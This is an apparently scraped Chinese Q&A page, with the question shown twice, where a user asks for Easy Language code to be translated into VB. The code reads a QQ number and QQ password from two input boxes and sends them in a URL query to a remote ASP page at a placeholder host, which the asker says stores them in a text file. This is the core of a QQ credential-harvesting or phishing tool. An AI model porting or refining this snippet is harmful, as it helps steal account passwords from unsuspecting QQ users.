VB 谁能把以下易语言的代码翻译成VB的?我追分~
子程序_按钮1_被单击如果真(QQASP(“http://xxx.xxx.xxx”,编辑框1.内容,编辑框2.内容)=“成功”如果真结束信息框(“成功”,0)子程序QQA...
子程序 _按钮1_被单击
如果真(QQASP(“http://xxx.xxx.xxx”,编辑框1.内容,编辑框2.内容)=“成功”
如果真结束
信息框(“成功”,0)
子程序 QQASP,文本型,,发送到ASP收取
参数 地址,文本型,,ASP文本路径
参数 号码,文本型
参数 密码,文本型
返回(到文本(HTTP读文件(地址+“?”+“qqnumber=”+号码+“&qqpassword=”+密码))))
代码如上,请高手帮忙,谢谢~!
其实也就2句话我看不懂。。。。当单击按钮时,我想要发送text1的数据到FTP中的ASP文件中,经过处理在FTP中生成一个txt,里面就是我输入的数据。。。。。
主要是这两句话:
如果真(QQASP(“http://xxx.xxx.xxx”,编辑框1.内容,编辑框2.内容)=“成功”)
返回(到文本(HTTP读文件(地址+“?”+“qqnumber=”+号码+“&qqpassword=”+密码)))) 展开
如果真(QQASP(“http://xxx.xxx.xxx”,编辑框1.内容,编辑框2.内容)=“成功”
如果真结束
信息框(“成功”,0)
子程序 QQASP,文本型,,发送到ASP收取
参数 地址,文本型,,ASP文本路径
参数 号码,文本型
参数 密码,文本型
返回(到文本(HTTP读文件(地址+“?”+“qqnumber=”+号码+“&qqpassword=”+密码))))
代码如上,请高手帮忙,谢谢~!
其实也就2句话我看不懂。。。。当单击按钮时,我想要发送text1的数据到FTP中的ASP文件中,经过处理在FTP中生成一个txt,里面就是我输入的数据。。。。。
主要是这两句话:
如果真(QQASP(“http://xxx.xxx.xxx”,编辑框1.内容,编辑框2.内容)=“成功”)
返回(到文本(HTTP读文件(地址+“?”+“qqnumber=”+号码+“&qqpassword=”+密码)))) 展开
1个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询